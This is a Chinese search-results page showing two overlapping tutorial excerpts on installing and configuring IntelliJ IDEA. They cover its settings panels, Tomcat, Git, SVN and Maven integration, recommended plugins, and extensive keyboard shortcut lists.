首页> 搜索结果页
"ifile远程服务器" 检索
共 14 条结果
idea安装与配置【包含了idea中每一个英文字母的翻译和使用方法】
1. 简介1.1 IDEA 全称 IntelliJ IDEA,是java语言开发的集成环境,IntelliJ在业界被公认为最好的java开发工具之一,      尤其在智能代码助手、代码自动提示、重构、 J2EE支持、各类版本工具(git、svn、github等)、JUnit、CVS整合、      代码分析、 创新的GUI设计等方面的功能可以说是超常的  1.2 IntelliJ IDEA有两个版本:社区版(Community)和旗舰版(Ultimate)。      社区版时免费的、开源的,但功能较少,      旗舰版提供了较多的功能,是收费的,可以试用30天2.安装步骤运行安装包,出现以下界面点击下一步,不卸载旧版本idea下一步,选择安装目录下一步,选择桌面快捷和关联文件打开方式idea下一步,配置开始菜单目录开始安装,等待安装完成。3.目录说明Bin:容器,执行文件和启动参数等。Help:快捷键文档和其他帮助文档Jre64:64 位 java 运行环境Lib:idea 依赖的类库License:各插件许可Plugin:插件4.启动配置Idea 启动有 32 位和 64 位之分,具体根据运行环境决定这里以 idea64 为例进行说明可以根据机器情况配置 vm 参数5.配置空间配置这个的目的是方便进行迁移,即在新的环境中不用在手动配置相关配置(比如主题,maven,jdk 等)配置后,所有的插件,使用习惯配置,索引,项目部署相关都会在自定义目录中,其他 idea 中配置此目录,即可沿用以前习惯。6.首次启动配置 settings,可以导入之前使用过得配置空间,也可以手动再配置注册软件,选择合适的方式进行注册。选择主题选择默认插件,不需要的可以禁止,以优化启动速度。最后弹出欢迎页面。7. Web服务器(Tomcat)的配置IntelliJ-配置artifacts,解决no artifacts的warnings8. idea所有板块的使用首次配置 :进入配置页面的方式: Configuration—>settingsAppearance&Behavier (外观和行为)Appearance (外观) :配置主题、字体、字号、工具类以及其他视图工具Menus and Toolbars (菜单和工具栏) :可以对菜单进行增删改System Setting (系统设置) :配置启动时是否打开项目,项目打开方式,保持文件方式,退出时的方式等。iFile Colors :文件颜色,保持默认即可Scope :作用域,保持默认即可Notificactions :通知,在启动的时候会进行的通知,比如 Spring 通知等。保持默认即可。Quick Lists :快捷列表,自定义快捷操作列表,保持默认即可。Path variable :可用路径配置,保持默认即可。KeyMap :快捷键配置,配置快捷键主题,快捷键修改等。Editor (编辑器)General (通常)Autoimporting (自动导入配置)Appearance (外观) :配置编辑器显示视图,比如行号,分割线等。Code Complete (代码提示) :代码提示配置,配合快捷键自动提示代码。Code Folding (代码折叠)Console (控制台) :控制台配置Editor tab (编辑器标签) :配置编辑器标签显示位置,显示方式等。Gutter icons (图标库) :配置图标,也可以在此处查看图标的含义。Postfix completion (后缀完善) :保持默认即可。Smart keys (敏捷开发) :比如 html 标签自动补全, {} 补全等,保持默认即可。Color&Fonts (颜色与字体)Font (字体)General (通用)Language Defaults (语言默认配置)Console Colors (控制台色彩)ConsoleFont (控制台字体)Custom (用户) :定制的习惯配置。Debugger( 断点 )Diff&merge (比较合并)Vcs (版本控制系统)JavaActionScript :As 脚本配置,默认即可Android Logcat :安卓日志配置,用的话可以配置CFML :ColdFusion Markup Language,默认配置即可CoffeeScript :支持的一种脚本语言,默认配置即可Css :Css 配置,默认即可Cucumber : 是一个能够理解用普通语言 描述的测试用例的支持行为驱动开发(BDD )的自动化测试工具,用 Ruby 编写,支持 Java 和 ·Net 等多种开发语言。Database :数据库色彩配置,默认即可Drools :Java 规则引擎色彩搭配,默认即可FreeMaker :模板语言色彩搭配,默认即可Groovy :Groovy 是一种基于 JVM ( Java 虚拟机)的敏捷开发语言,默认即可Haml :Haml 是一种用来描述任何 XHTML web document 的标记语言,默认即可Html :超文本标记语言,默认即可JavaScript :浏览器脚本语言,默认即可Jpa/hibernate QL :数据库 sql 相关组件,默认即可JSON :一种数据传输格式,默认即可JSP :JavaEE 的页面技术,默认即可Kotlin :Kotlin 是一个基于 JVM 的新的编程语言,默认即可Less :敏捷开发 css 的一种语言,默认即可Markdown :Markdown 是一种可以使用普通文本编辑器编写的标记语言,默认即可OGNL :是一种功能强大的表达式语言,默认即可OSGI Manifest :与上边类似,默认即可Properties :特性文件,默认即可RegExp :正则表达式,默认即可Sass/SCSS :前端敏捷开发语言,默认即可Spring EL :Spring 正则,默认即可SQL :Sql 语言,默认即可Stylus :是一款 CSS 的预处理器,默认即可Table Diff :用于比较两个非收敛的表中的数据,默认即可Tapestry :Tapestry 是一个开源的基于 servlet 的应用程序框架 , 它使用组件对象模型来创建动态的 , 交互 的 web 应用。默认即可TypeScript :TypeScript 是一种由微软开发的自由和开源的编程语言。默认即可Velocity :Velocity 是一个基于 java 的模板引擎 (template engine) 。默认即可XML : 可扩展标记语言, 默认即可Xpath :XPath 即为 XML 路径语言,它是一种用来确定 XML (标准通用标记语言的子集)文档中某部 分位置的语言。默认即可XSLT :是一种对 XML (标准通用标记语言的子集)文档进行转化的语言,默认即可YAML :ML 是一个可读性高的用来表达资料序列的格式。默认即可Spy-JS :一款前端框架,默认即可File Status :文件状态,默认即可By Scope :根据作用域来定,默认即可CodeStyle (代码样式) :idea 支持语言(不一一赘述)的代码样式配置,包括缩进,尺寸配置。Inspections (检查) :代码审查级别,一般有 error 、 warn 等,会爆红和警告波浪线等。如果想取消检查,可以在 此处配置。File &Code Template (文件和代码模板) :文件和代码模板,可以在此处配置修改。File Encoding (文件编码) :这里配置文件和项目的编码,也可以在 native 和 ascii 进行转换( \XXF0 这种转中文, properties 文件)Live Template (实时模板)File Type (文件类型) :文件图标以及关联方式Android Layout Editor :安卓布局,默认即可Copyright (版权) :版权,更 Scope 相关,默认即可Emmet (前端语法) :Emmet 语法GUI Designer :用户图像界面设计,默认即可Images :图片配置,默认即可Intentions :意图,打算,默认即可Spelling :拼写,默认即可TODO :待办事项,默认即可Plugins (插件) :用于取消插件启动,安装在线和本地插件等。Version Control (版本控制) :用于配置版本控制常用功能,git/svn 等都在此处配置。Build Execution Deployment (构建执行部署)Build Tools (构建工具) :构建工具,内置对 maven , gradle 和 ant 的支持。Compiler (编译) :这里可以对编译级别进行选择,包括项目(Module )的编译级别。Dubugger (调试) :调试模式的配置,热部署也是基于此。DeployMent (部署) :配合 ssh 等方便部署使用。ApplicationServer (应用服务器) :这里可以配置 tomcat 、 jetty 、 jboss 等服务器。Languages&Frameworks :此模块默认配置即可,功能是配置语言编译版本。Tools :常用工具,默认即可第一次启动后 :首次进入项目后的一些面板说明。Project (项目) :配置项目名,jdk , class 目录等Modules (模块) :项目模块,有整个项目模块的配置和 web 、 Spring 级别的。Web 级别是基础,可以配置 web.xml , web 目录,以及创建 artifact (第一次项目的时候需要配置此处) 。Libraries (类库) :类库,项目依赖的类库Facets (特征) :表示这个 module 有什么特征,比如 Web , Spring 和 Hibernate 等;ArtiFacts (打包) :是 maven 中的一个概念,表示某个 module 要如何打包,例如 war exploded 、 war 、 jar、 ear 等等这种打包形式; 一个 module 有了 Artifacts 就可以部署到应用服务器中了! 在给项目配置 Artifacts 的时候有好多个 type 的选项, exploed 是什么意思: explode 在这里你可以理解为展开,不压缩的意思。也就是 war 、 jar 等产出物没压缩前的目 录结构。建议在开发的时候使用这种模式,便于修改了文件的效果立刻显现出来。 默认情况下,IDEA 的 Modules 和 Artifacts 的 output 目录 已经设置好了,不需要更改, 打成 war 包 的时候会自动在 WEB-INF 目录 下生产 classes 目录 ,然后把编译后的文 件放进去。SDK (系统开发工具) :全局 SDK 配置Global libraries (全局类库) :全局类库Problems (问题) :问题,在项目异常的时候很有用,可以根据提示进行项目修复 ( FIXED ) 。Maven 专题 :如果项目是 maven 项目,在没被 maven 管控的时候,右键项目 中的 pom 文件,选择 add as maven Project ,即可加入 maven 管理主配置 :配置 maven 插件,以及工作方式。Import 配置 :配置 maven 导入方式Ignore Files 配置 :配置忽略文件。个人觉得用处不大。 通常与下面配合使用Runner 配置 :运行配置,个人只在包冲突的时候用过,一般默认的即可。RunnerTest :保持默认即可。Repositories 配置 :仓库的配置,以 settings.Xml 优先。使用入门 :通过如下方式调出面板面板说明 :上边一栏,依次为: 1. 重新导入 maven 项目 2. 对项目进行更新 3. 下载文档和源码 4. 添加 maven 项目5. 运行 maven 构建 6. 全局运行 7. 切换在线模式 8. 切换测试模式 9. 显示依赖拓扑结构图 10. 折叠 11. 设置 12. 右键菜单的操作,13基本类似 14. 命令模式配置点击 ok 之后 RunTomcat 专题 :这里只做一个简单的入门指南,如有不对之处,还望指正。安装配置:配置DeployMent后边的三项保持默认即可。启动 :三种方式,run,debug,coverage , 强烈建议用 debugger 模式启动Debugger :debug 模式的时候显示方法,调用关系,参数值等,Server :打印日志控制台tomcatCatalinaLog : catalina 日志, 程序跑不起 来的时候可以查看此项Localhostlog :本地日志并排的一堆按钮是调试的时候进入跳出方法按钮 : F8 下一步 ,F7 进入 方法,F9 下一个断点左侧竖列 依次为:Run : 重新启动应用Update application : 更新应用Resume application : 恢复应用Pause application : 暂停应用Stop : 停止应用View breadkPoints : 查看断点Mute breadkpoints : 禁用断点Get Thread Dump 获取线程堆Restore layout : 重置布局Settings : 设置Pin tab : 固定面板Close : 关闭Help : 帮助Run with coverage :覆盖模式运行。用于统计方法使用情况。 终止程序后会显示调用比例Tomcat 集成原理 :用户为项目配置了 tomcat 后, idea 会拷贝一份配置到系统目录中,如下Conf (配置) :此处的端口和项目都和前边配置的一致。Tomcat 之所以可以 root 启动和热部署,原因在如下Logs :可以查看项目日志,在控制台日志无法查询到的时候,可以来到此目录查看Work :存放编译的 class 和 jspGIT 专题 :这里只做一个简单的入门指南,如有不对之处,还望指正。安装 :选择 VersionControl 下的 Git ,依据下图进行 git 配置拉取项目 :从 VCS 菜单选择 checkout from version control-->git更新项目 :点击下面按钮,或者 ctrl+t 快捷键 如果本地有分支,一般是从本地,没有的话则是从远程提交项目 :Ctrl+k 即是提交,(注意 ctrl+k 一般是提交到本地仓库, ctrl+shift+k 是提交远程)面板说明 :Alt+9 跳转到 versionControl 面板Local Changes 左侧菜单自上至下依次为:刷新提交还原展开折叠复制新建版本列表删除版本列表设置列表活动态移动列表搁置列表更改内容展示不同展示变动显示忽略文件设置忽略文件规则预览不同帮助Shelf 面板 :搁置操作后的面板,可用于还原搁置的操作Log 面板 :自上至下--- 》自左到右 :搜索( 提交消息 ) 、分支筛选、用户筛选、时间筛选、路径、排序开关、显示长优势(边缘)、 刷新、进入分支等、pick 、高亮 pick提交消息、用户信息、提交时间、提交明细Console 面板 :打印操作的 git 命令History 面板:依次版本号时间 作者提交消息提交消息完整内容仓库选项 :分支、标签、合并、隐藏变动、不隐藏变动、重置 head 、远程地址、克隆、获取、拉取、 推送、复位SVN 专题 :这里只做一个简单的入门指南,如有不对之处,还望指正。配置1.1 下载 & 安装 svn地址: https://sliksvn.com/download/1.2 配置检出项目配置 svn 地址配置工作目录配置项目名称选择 format 版本开始检出,验证账号密码检出:检出完成导入配置NextNextFinish完成项目检出全部工作。面板说明 :常用面板说明。工具栏面板 :更新、提交、对比、显示历史、还原VersionControl (版本控制) :总览,版本控制中都包含的有哪几种面板,以及含义。LocalChanges 本地更改Repository (仓库)Incoming( 即将到来 ) :本地仓库没有的,别人提交到仓库的代码。Subversion Working Copies Information ( svn 工作信息) :Svn 的配置信息,路径,格式化等。UpdateInfo( 更新日志 ) :在更新操作的时候,会弹出给用户查阅添加删除更改合并的文件都有那些。History :历史记录,可用于版本还原,比对等。常用操作 :红色是未被版本控制 ,绿色是新加入版本 蓝色是修改过的提交远程 :在 local changes 面板中,选择 default 、提交选项、点击 commit 、再次 commit 、提交成功更新项目 :更新进度 、更新结果冲突解决 :冲突合并 、处理结果SSM 搭建 :这里只做一个简单的入门指南,如有不对之处,还望指正。 :这里是 maven 版本的 ssm , jdk 和 maven 需要提前配置好。Maven 项目:新建项目 选择 maven 项目,配置 webapp 和 jdk下一步,配置 groupId 和 ArtifactId下一步,配置 maven 构建工具信息下一步,配置项目信息, moduleFinish ,完成。稍等片刻,选择右下角, enable auto import ( maven 选项) 默认没有 java 目录,新建一个 java 目录,并设置为 root 源目录设置 Spring 支持 :可以根据方法,直接调到对应的 jsp 页面启动时不自动打开项目取消注释检查 :注释中有时候会爆红,不习惯的可以取消勾选下面的。全屏设置 :通过如下配置,可以使用 alt+d 切换全屏本地历史 :右键文件或者项目,可以进行历史找回和还原idea所有文件 :双击 shift ,或者选择右上角面板搜索按钮。项目文件 :Ctrl+shift+n 必用的插件Free MyBatis plugin -> MyBatisXIniConvert YAML and Properties FilegenerateAllSetterLombokMaven HelperMyBatis Log PluginJRebel and必用快捷键快捷键 介绍:Ctrl + F :在当前文件进行文本查找 (必备)Ctrl + R :在当前文件进行文本替换 (必备)Ctrl + Z :撤销 (必备)Ctrl + Y :删除光标所在行 或 删除选中的行 (必备)Ctrl + X :剪切光标所在行 或 剪切选择内容Ctrl + C :复制光标所在行 或 复制选择内容Ctrl + D :复制光标所在行 或 复制选择内容,并把复制内容插入光标位置下面 (必备)Ctrl + W :递进式选择代码块。可选中光标所在的单词或段落,连续按会在原有选中的基础上再扩展选中范围 (必备)Ctrl + E :显示最近打开的文件记录列表 (必备)Ctrl + N :根据输入的 类名 查找类文件 (必备)Ctrl + G :在当前文件跳转到指定行处Ctrl + J :插入自定义动态代码模板 (必备)Ctrl + P :方法参数提示显示 (必备)Ctrl + Q :光标所在的变量 / 类名 / 方法名等上面(也可以在提示补充的时候按),显示文档内容Ctrl + U :前往当前光标所在的方法的父类的方法 / 接口定义 (必备)Ctrl + B :进入光标所在的方法/变量的接口或是定义处,等效于 Ctrl + 左键单击 (必备)Ctrl + K :版本控制提交项目,需要此项目有加入到版本控制才可用Ctrl + T :版本控制更新项目,需要此项目有加入到版本控制才可用Ctrl + H :显示当前类的层次结构Ctrl + O :选择可重写的方法Ctrl + I :选择可继承的方法Ctrl + + :展开代码Ctrl + - :折叠代码Ctrl + / :注释光标所在行代码,会根据当前不同文件类型使用不同的注释符号 (必备)Ctrl + [ :移动光标到当前所在代码的花括号开始位置Ctrl + ] :移动光标到当前所在代码的花括号结束位置Ctrl + F1 :在光标所在的错误代码处显示错误信息 (必备)Ctrl + F3 :调转到所选中的词的下一个引用位置 (必备)Ctrl + F4 :关闭当前编辑文件Ctrl + F8 :在 Debug 模式下,设置光标当前行为断点,如果当前已经是断点则去掉断点Ctrl + F9 :执行 Make Project 操作Ctrl + F11 :选中文件 / 文件夹,使用助记符设定 / 取消书签 (必备)Ctrl + F12 :弹出当前文件结构层,可以在弹出的层上直接输入,进行筛选Ctrl + Tab :编辑窗口切换,如果在切换的过程又加按上 delete,则是关闭对应选中的窗口Ctrl + End :跳到文件尾Ctrl + Home :跳到文件头快捷键 介绍:Ctrl + Space :基础代码补全,默认在 Windows 系统上被输入法占用,需要进行修改,建议修改为 Ctrl + 逗 号 (必备)Ctrl + Delete :删除光标后面的单词或是中文句 (必备)Ctrl + BackSpace :删除光标前面的单词或是中文句 (必备)Ctrl + 1,2,3...9 :定位到对应数值的书签位置 (必备)Ctrl + 左键单击在打开的文件标题上,弹出该文件路径 (必备)Ctrl + 光标定位按 Ctrl 不要松开,会显示光标所在的类信息摘要Ctrl + 左方向键光标跳转到当前单词 / 中文句的左侧开头位置 (必备)Ctrl + 右方向键光标跳转到当前单词 / 中文句的右侧开头位置 (必备)Ctrl + 前方向键等效于鼠标滚轮向前效果 (必备)Ctrl + 后方向键等效于鼠标滚轮向后效果 (必备)Alt 快捷键 介绍Alt + ` :显示版本控制常用操作菜单弹出层 (必备)Alt + Q :弹出一个提示,显示当前类的声明 / 上下文信息Alt + F1 :显示当前文件选择目标弹出层,弹出层中有很多目标可以进行选择 (必备)Alt + F2 :对于前面页面,显示各类浏览器打开目标选择弹出层Alt + F3 :选中文本,逐个往下查找相同文本,并高亮显示Alt + F7 :查找光标所在的方法 / 变量 / 类被调用的地方Alt + F8 :在 Debug 的状态下,选中对象,弹出可输入计算表达式调试框,查看该输入内容的调试结果Alt + Home :定位 / 显示到当前文件的 Navigation BarAlt + Enter :IntelliJ IDEA 根据光标所在问题,提供快速修复选择,光标放在的位置不同提示的结果也不同 (必 备)Alt + Insert: 代码自动生成,如生成对象的 set / get 方法,构造函数,toString() 等 (必备)Alt + 左方向键 :切换当前已打开的窗口中的子视图,比如 Debug 窗口中有 Output、Debugger 等子视图,用此快捷键就可 以在子视图中切换 (必备)Alt + 右方向键 :按切换当前已打开的窗口中的子视图,比如 Debug 窗口中有 Output、Debugger 等子视图,用此快捷键就 可以在子视图中切换 (必备)Alt + 前方向键 :当前光标跳转到当前文件的前一个方法名位置 (必备)Alt + 后方向键 :当前光标跳转到当前文件的后一个方法名位置 (必备)Alt + 1,2,3...9 :显示对应数值的选项卡,其中 1 是 Project 用得最多 (必备)Shift 快捷键 介绍:Shift + F1 :如果有外部文档可以连接外部文档Shift + F2 :跳转到上一个高亮错误 或 警告位置Shift + F3 :在查找模式下,查找匹配上一个Shift + F4 :对当前打开的文件,使用新 Windows 窗口打开,旧窗口保留Shift + F6 :对文件 / 文件夹 重命名Shift + F7 :在 Debug 模式下,智能步入。断点所在行上有多个方法调用,会弹出进入哪个方法Shift + F8 :在 Debug 模式下,跳出,表现出来的效果跟 F9 一样Shift + F9 :等效于点击工具栏的 Debug 按钮Shift + F10 :等效于点击工具栏的 Run 按钮Shift + F11 :弹出书签显示层 (必备)Shift + Tab :取消缩进 (必备)Shift + ESC :隐藏当前 或 最后一个激活的工具窗口Shift + End :选中光标到当前行尾位置Shift + Home :选中光标到当前行头位置Shift + Enter :开始新一行。光标所在行下空出一行,光标定位到新行位置 (必备)Shift + 左键单击 :在打开的文件名上按此快捷键,可以关闭当前打开文件 (必备)Shift + 滚轮前后滚动:当前文件的横向滚动轴滚动 (必备)Ctrl + Alt 快捷键 介绍:Ctrl + Alt + L :格式化代码,可以对当前文件和整个包目录使用 (必备)Ctrl + Alt + O :优化导入的类,可以对当前文件和整个包目录使用 (必备)Ctrl + Alt + I :光标所在行 或 选中部分进行自动代码缩进,有点类似格式化Ctrl + Alt + T :对选中的代码弹出环绕选项弹出层 (必备)Ctrl + Alt + J :弹出模板选择窗口,将选定的代码加入动态模板中Ctrl + Alt + H :调用层次Ctrl + Alt + B :在某个调用的方法名上使用会跳到具体的实现处,可以跳过接口Ctrl + Alt + V :快速引进变量Ctrl + Alt + Y :同步、刷新Ctrl + Alt + S :打开 IntelliJ IDEA 系统设置 (必备)Ctrl + Alt + F7 :显示使用的地方。寻找被该类或是变量被调用的地方,用弹出框的方式找出来Ctrl + Alt + F11 :切换全屏模式Ctrl + Alt + Enter :光标所在行上空出一行,光标定位到新行 (必备)Ctrl + Alt + Home :弹出跟当前文件有关联的文件弹出层Ctrl + Alt + Space :类名自动完成Ctrl + Alt + 左方向键退回到上一个操作的地方 (必备)Ctrl + Alt + 右方向键前进到上一个操作的地方 (必备)Ctrl + Alt + 前方向键在查找模式下,跳到上个查找的文件Ctrl + Alt + 后方向键在查找模式下,跳到下个查找的文件 idea- 教程 作者 Ricky 交流群: 244930845Ctrl + Shift 快捷键 介绍:Ctrl + Shift + F :根据输入内容查找整个项目 或 指定目录内文件 (必备)Ctrl + Shift + R :根据输入内容替换对应内容,范围为整个项目 或 指定目录内文件 (必备)Ctrl + Shift + J :自动将下一行合并到当前行末尾 (必备)Ctrl + Shift + Z :取消撤销 (必备)Ctrl + Shift + W :递进式取消选择代码块。可选中光标所在的单词或段落,连续按会在原有选中的基础上再扩展取 消选中范围 (必备)Ctrl + Shift + N :通过文件名定位 / 打开文件 / 目录,打开目录需要在输入的内容后面多加一个正斜杠 (必 备)Ctrl + Shift + U :对选中的代码进行大 / 小写轮流转换 (必备)Ctrl + Shift + T :对当前类生成单元测试类,如果已经存在的单元测试类则可以进行选择 (必备)Ctrl + Shift + C :复制当前文件磁盘路径到剪贴板 (必备)Ctrl + Shift + V :弹出缓存的最近拷贝的内容管理器弹出层Ctrl + Shift + E :显示最近修改的文件列表的弹出层Ctrl + Shift + H :显示方法层次结构Ctrl + Shift + B :跳转到类型声明处 (必备)Ctrl + Shift + I :快速查看光标所在的方法 或 类的定义Ctrl + Shift + A :查找动作 / 设置Ctrl + Shift + / :代码块注释 (必备)Ctrl + Shift + [ :选中从光标所在位置到它的顶部中括号位置 (必备)Ctrl + Shift + ] :选中从光标所在位置到它的底部中括号位置 (必备)Ctrl + Shift + + :展开所有代码 (必备)Ctrl + Shift + - :折叠所有代码 (必备)Ctrl + Shift + F7 :高亮显示所有该选中文本,按 Esc 高亮消失 (必备)Ctrl + Shift + F8 :在 Debug 模式下,指定断点进入条件Ctrl + Shift + F9 :编译选中的文件 / 包 / ModuleCtrl + Shift + F12 :编辑器最大化 (必备)Ctrl + Shift + Space :智能代码提示Ctrl + Shift + Enter :自动结束代码,行末自动添加分号 (必备)Ctrl + Shift + Backspace :退回到上次修改的地方 (必备)Ctrl + Shift + 1,2,3...9 :快速添加指定数值的书签 (必备)Ctrl + Shift + 左键单击:把光标放在某个类变量上,按此快捷键可以直接定位到该类中 (必备)Ctrl + Shift + 左方向键:在代码文件上,光标跳转到当前单词 / 中文句的左侧开头位置,同时选中该单词 / 中文句(必备)Ctrl + Shift + 右方向键 :在代码文件上,光标跳转到当前单词 / 中文句的右侧开头位置,同时选中该单词 / 中文句 (必备)Ctrl + Shift + 前方向键:光标放在方法名上,将方法移动到上一个方法前面,调整方法排序 (必备)Ctrl + Shift + 后方向键:光标放在方法名上,将方法移动到下一个方法前面,调整方法排序 (必备)Alt + Shift + N :选择 / 添加 task (必备)Alt + Shift + F :显示添加到收藏夹弹出层 / 添加到收藏夹Alt + Shift + C :查看最近操作项目的变化情况列表Alt + Shift + I :查看项目当前文件Alt + Shift + F7 :在 Debug 模式下,下一步,进入当前方法体内,如果方法体还有方法,则会进入该内嵌的方法中, 依此循环进入Alt + Shift + F9 :弹出 Debug 的可选择菜单Alt + Shift + F10 :弹出 Run 的可选择菜单Alt + Shift + 左键双 击:选择被双击的单词 / 中文句,按住不放,可以同时选择其他单词 / 中文句 (必备)Alt + Shift + 前方向键:移动光标所在行向上移动 (必备)Alt + Shift + 后方向键:移动光标所在行向下移动 (必备)Ctrl + Shift + Alt + V:无格式黏贴 (必备)Ctrl + Shift + Alt + N:前往指定的变量 / 方法Ctrl + Shift + Alt + S:打开当前项目设置 (必备)Ctrl + Shift + Alt + C:复制参考信息F2 :跳转到下一个高亮错误 或 警告位置 (必备)F3 :在查找模式下,定位到下一个匹配处F4 :编辑源 (必备)F7 :在 Debug 模式下,进入下一步,如果当前行断点是一个方法,则进入当前方法体内,如果该方法体还有方 法,则不会进入该内嵌的方法中F8 :在 Debug 模式下,进入下一步,如果当前行断点是一个方法,则不进入当前方法体内F9 :在 Debug 模式下,恢复程序运行,但是如果该断点下面代码还有断点则停在下一个断点上F11 :添加书签 (必备)F12 :回到前一个工具窗口 (必备)Tab :缩进 (必备)ESC: 从工具窗口进入代码文件窗口 (必备)连按两次 Shift :弹出 Search Everywhere 弹出层 XRebel for InteIIiJ
文章
XML  ·  敏捷开发  ·  前端开发  ·  Java  ·  应用服务中间件  ·  Maven  ·  开发工具  ·  git  ·  数据格式  ·  Spring
2022-11-10
IDEA相关的快捷键
IDEA简介: IDEA 全称IntelliJ IDEA,是用于java语言开发的集成环境(也可用于其他语言),IntelliJ在业界被公认为最好的java开发工具之一,尤其在智能代码助手、代码自动提示、重构、J2EE支持、Ant、JUnit、CVS整合等方面的功能可以说是超常的。IDEA是JetBrains公司的产品。idea分为旗舰版和社区版:旗舰版收费,功能多于旗舰版;社区版免费,功能少一些。首次配置 :进入配置页面的方式: Configuration—>settingsAppearance&Behavier (外观和行为)Appearance (外观) :配置主题、字体、字号、工具类以及其他视图工具Menus and Toolbars (菜单和工具栏) :可以对菜单进行增删改System Setting (系统设置) :配置启动时是否打开项目,项目打开方式,保持文件方式,退出时的方式等。iFile Colors :文件颜色,保持默认即可Scope :作用域,保持默认即可Notificactions :通知,在启动的时候会进行的通知,比如 Spring 通知等。保持默认即可。Quick Lists :快捷列表,自定义快捷操作列表,保持默认即可。Path variable :可用路径配置,保持默认即可。KeyMap :快捷键配置,配置快捷键主题,快捷键修改等。Editor (编辑器)General (通常)Autoimporting (自动导入配置)Appearance (外观) :配置编辑器显示视图,比如行号,分割线等。Code Complete (代码提示) :代码提示配置,配合快捷键自动提示代码。Code Folding (代码折叠)Console (控制台) :控制台配置Editor tab (编辑器标签) :配置编辑器标签显示位置,显示方式等。Gutter icons (图标库) :配置图标,也可以在此处查看图标的含义。Postfix completion (后缀完善) :保持默认即可。Smart keys (敏捷开发) :比如 html 标签自动补全, {} 补全等,保持默认即可。Color&Fonts (颜色与字体)Font (字体)General (通用)Language Defaults (语言默认配置)Console Colors (控制台色彩)ConsoleFont (控制台字体)Custom (用户) :定制的习惯配置。Debugger( 断点 )Diff&merge (比较合并)Vcs (版本控制系统)JavaActionScript :As 脚本配置,默认即可Android Logcat :安卓日志配置,用的话可以配置CFML :ColdFusion Markup Language,默认配置即可CoffeeScript :支持的一种脚本语言,默认配置即可Css :Css 配置,默认即可Cucumber : 是一个能够理解用普通语言 描述的测试用例的支持行为驱动开发(BDD )的自动化测试工具,用 Ruby 编写,支持 Java 和 ·Net 等多种开发语言。Database :数据库色彩配置,默认即可Drools :Java 规则引擎色彩搭配,默认即可FreeMaker :模板语言色彩搭配,默认即可Groovy :Groovy 是一种基于 JVM ( Java 虚拟机)的敏捷开发语言,默认即可Haml :Haml 是一种用来描述任何 XHTML web document 的标记语言,默认即可Html :超文本标记语言,默认即可JavaScript :浏览器脚本语言,默认即可Jpa/hibernate QL :数据库 sql 相关组件,默认即可JSON :一种数据传输格式,默认即可JSP :JavaEE 的页面技术,默认即可Kotlin :Kotlin 是一个基于 JVM 的新的编程语言,默认即可Less :敏捷开发 css 的一种语言,默认即可Markdown :Markdown 是一种可以使用普通文本编辑器编写的标记语言,默认即可OGNL :是一种功能强大的表达式语言,默认即可OSGI Manifest :与上边类似,默认即可Properties :特性文件,默认即可RegExp :正则表达式,默认即可Sass/SCSS :前端敏捷开发语言,默认即可Spring EL :Spring 正则,默认即可SQL :Sql 语言,默认即可Stylus :是一款 CSS 的预处理器,默认即可Table Diff :用于比较两个非收敛的表中的数据,默认即可Tapestry :Tapestry 是一个开源的基于 servlet 的应用程序框架 , 它使用组件对象模型来创建动态的 , 交互 的 web 应用。默认即可TypeScript :TypeScript 是一种由微软开发的自由和开源的编程语言。默认即可Velocity :Velocity 是一个基于 java 的模板引擎 (template engine) 。默认即可XML : 可扩展标记语言, 默认即可Xpath :XPath 即为 XML 路径语言,它是一种用来确定 XML (标准通用标记语言的子集)文档中某部 分位置的语言。默认即可XSLT :是一种对 XML (标准通用标记语言的子集)文档进行转化的语言,默认即可YAML :ML 是一个可读性高的用来表达资料序列的格式。默认即可Spy-JS :一款前端框架,默认即可File Status :文件状态,默认即可By Scope :根据作用域来定,默认即可CodeStyle (代码样式) :idea 支持语言(不一一赘述)的代码样式配置,包括缩进,尺寸配置。Inspections (检查) :代码审查级别,一般有 error 、 warn 等,会爆红和警告波浪线等。如果想取消检查,可以在 此处配置。File &Code Template (文件和代码模板) :文件和代码模板,可以在此处配置修改。File Encoding (文件编码) :这里配置文件和项目的编码,也可以在 native 和 ascii 进行转换( \XXF0 这种转中文, properties 文件)Live Template (实时模板)File Type (文件类型) :文件图标以及关联方式Android Layout Editor :安卓布局,默认即可Copyright (版权) :版权,更 Scope 相关,默认即可Emmet (前端语法) :Emmet 语法GUI Designer :用户图像界面设计,默认即可Images :图片配置,默认即可Intentions :意图,打算,默认即可Spelling :拼写,默认即可TODO :待办事项,默认即可Plugins (插件) :用于取消插件启动,安装在线和本地插件等。Version Control (版本控制) :用于配置版本控制常用功能,git/svn 等都在此处配置。Build Execution Deployment (构建执行部署)Build Tools (构建工具) :构建工具,内置对 maven , gradle 和 ant 的支持。Compiler (编译) :这里可以对编译级别进行选择,包括项目(Module )的编译级别。Dubugger (调试) :调试模式的配置,热部署也是基于此。DeployMent (部署) :配合 ssh 等方便部署使用。ApplicationServer (应用服务器) :这里可以配置 tomcat 、 jetty 、 jboss 等服务器。Languages&Frameworks :此模块默认配置即可,功能是配置语言编译版本。Tools :常用工具,默认即可第一次启动后 :首次进入项目后的一些面板说明。Project (项目) :配置项目名,jdk , class 目录等Modules (模块) :项目模块,有整个项目模块的配置和 web 、 Spring 级别的。Web 级别是基础,可以配置 web.xml , web 目录,以及创建 artifact (第一次项目的时候需要配置此处) 。Libraries (类库) :类库,项目依赖的类库Facets (特征) :表示这个 module 有什么特征,比如 Web , Spring 和 Hibernate 等;ArtiFacts (打包) :是 maven 中的一个概念,表示某个 module 要如何打包,例如 war exploded 、 war 、 jar、 ear 等等这种打包形式; 一个 module 有了 Artifacts 就可以部署到应用服务器中了! 在给项目配置 Artifacts 的时候有好多个 type 的选项, exploed 是什么意思: explode 在这里你可以理解为展开,不压缩的意思。也就是 war 、 jar 等产出物没压缩前的目 录结构。建议在开发的时候使用这种模式,便于修改了文件的效果立刻显现出来。 默认情况下,IDEA 的 Modules 和 Artifacts 的 output 目录 已经设置好了,不需要更改, 打成 war 包 的时候会自动在 WEB-INF 目录 下生产 classes 目录 ,然后把编译后的文 件放进去。SDK (系统开发工具) :全局 SDK 配置Global libraries (全局类库) :全局类库Problems (问题) :问题,在项目异常的时候很有用,可以根据提示进行项目修复 ( FIXED ) 。Maven 专题 :如果项目是 maven 项目,在没被 maven 管控的时候,右键项目 中的 pom 文件,选择 add as maven Project ,即可加入 maven 管理主配置 :配置 maven 插件,以及工作方式。Import 配置 :配置 maven 导入方式Ignore Files 配置 :配置忽略文件。个人觉得用处不大。 通常与下面配合使用Runner 配置 :运行配置,个人只在包冲突的时候用过,一般默认的即可。RunnerTest :保持默认即可。Repositories 配置 :仓库的配置,以 settings.Xml 优先。使用入门 